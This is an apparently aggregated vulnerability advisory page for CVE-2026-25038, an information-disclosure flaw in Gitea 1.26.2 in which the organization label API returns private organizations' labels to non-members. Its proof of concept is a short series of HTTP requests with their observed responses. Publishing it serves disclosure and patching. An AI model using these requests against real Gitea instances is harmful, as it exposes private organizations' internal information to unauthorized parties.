Skip to main content

Boteraser | Website and Server Security Solutions

🛡️ CVE-2026-25038 — gitea

🟠 CVSS 8.0 — High ✅ No Known Exploit CWE-200 NVD
8.0
CVSS Score
0 Low4 Medium7 High9 Critical10

Description

Gitea: Unauthorized Access to Labels of Private Organizations

Summary

Gitea 1.26.2 does not properly enforce organization visibility restrictions on organization label read endpoints.

A user without access to a private organization can retrieve labels belonging to that organization through the Organization Labels API. As a result, label metadata intended to be restricted to organization members may be disclosed.

The issue is limited to unauthorized read access. No unauthorized modification of labels was observed.

Details

The following endpoints are affected:

  • GET /api/v1/orgs/{org}/labels
  • GET /api/v1/orgs/{org}/labels/{id}

During testing, a private organization was created and a label was added to that organization.

Access to the organization itself was correctly restricted. A user without membership in the organization received a 404 Not Found response when requesting organization information.

However, the same user was still able to retrieve organization labels through the endpoints listed above.

For comparison, other organization-scoped endpoints such as:

  • GET /api/v1/orgs/{org}/teams
  • GET /api/v1/orgs/{org}/hooks
  • GET /api/v1/orgs/{org}/actions/secrets

correctly denied access to unauthorized users.

The label endpoints returned the full Label object, including fields such as:

  • id
  • name
  • description
  • color
  • url

Write operations were tested separately and remained protected by authorization checks.

PoC

Setup

Create a private organization:

```http

POST /api/v1/orgs

Authorization: token <owner_token>

{

"username": "target-org",

"visibility": "private"

}

```

Create a label:

```http

POST /api/v1/orgs/target-org/labels

Authorization: token <owner_token>

{

"name": "internal-label",

"color": "#aabbcc",

"description": "private organization label"

}

```

Verify that the organization is not accessible to a non-member:

```http

GET /api/v1/orgs/target-org

Authorization: token <non_member_token>

```

Response:

```http

HTTP/1.1 404 Not Found

```

Retrieve all labels

Request:

```http

GET /api/v1/orgs/target-org/labels

Authorization: token <non_member_token>

```

Observed response:

```http

HTTP/1.1 200 OK

```

The response contains labels belonging to the private organization.

Retrieve a specific label

Request:

```http

GET /api/v1/orgs/target-org/labels/1

Authorization: token <non_member_token>

```

Observed response:

```http

HTTP/1.1 200 OK

```

The full Label object is returned.

Verify write protection

Request:

```http

PATCH /api/v1/orgs/target-org/labels/1

Authorization: token <non_member_token>

```

Response:

```http

HTTP/1.1 403 Forbidden

```

PoC Details

https://anonymous.4open.science/r/Gitea_PoC-EC93/2_poc_private_org_labels_leak

Impact

Users who are not authorized to access a private organization can obtain label metadata associated with that organization.

Depending on how labels are used, this may disclose internal organizational information contained in label names or descriptions.

The issue affects confidentiality only. No integrity or availability impact was observed.

How this vulnerability can be exploited

This issue can be reached over the network, attack complexity is low, an attacker needs no privileges on the target. No user interaction is required. The scope is unchanged, so the impact stays within the vulnerable component. Rated impact: confidentiality high, integrity none, availability none.

CVSS metrics in full

The score comes from this vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

  • Attack vector: Network — reachable from anywhere that can route to the service.
  • Attack complexity: Low — the attack works reliably, with no preparation.
  • Privileges required: None — an unauthenticated stranger can try it.
  • User interaction: None — nobody has to be tricked into anything.
  • Scope: Unchanged — the damage stays inside the vulnerable component.
  • Confidentiality impact: High — total loss, or loss the attacker controls.
  • Integrity impact: None.
  • Availability impact: None.

Weakness class

CVE-2026-25038 is classified as CWE-200: Exposure of Sensitive Information. Information that should stay internal is disclosed to someone who is not authorised to see it.

Affected software

CVE-2026-25038 is recorded against 2 packages.

  • code.gitea.io/gitea
  • unknown

Timeline and source

Published on 27 July 2026. No public exploit is currently recorded for this entry. Record sourced from NVD.

References

github.com (Advisory)
nvd.nist.gov (Advisory)
blog.gitea.com (Web)
github.com (Web)
github.com (Web)
github.com (Web)

Other advisories for this package

code.gitea.io/gitea has other advisories on record. If you are patching this one, these are worth checking on the same host:

Same weakness in other software

These advisories are the same class of weakness (CWE-200: Exposure of Sensitive Information) in other software:

Details

Severity HIGH
CVSS Score 8.0
CVSS Vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
CWE CWE-200
Public Exploit ✅ No
Source NVD
Published 2026-07-27
Updated 2026-08-20
Modified 2026-07-27
Fix URL N/A

Affected Packages

Software From version Fixed in
code.gitea.io/gitea
unknown

Similar Threats

Site Security Check

Is gitea part of your stack?

CVE-2026-25038 is rated CVSS 8.0 High. BotEraser scans your installation against known CVE records and tells you whether this vulnerability applies to the versions you actually run.

Scan My Site Free →

No credit card required  ·  Results in minutes

ⓘ Data Notice: The information presented above has been compiled from publicly available internet sources. Boteraser aggregates this data solely for informational purposes and does not independently classify, evaluate, or endorse any findings about the vulnerabilities listed. The accuracy and completeness of this information is the sole responsibility of the original publishers. Boteraser and its operators accept no liability for any decisions made based on this data.

Browse related advisories

All advisoriesCVECVE 2026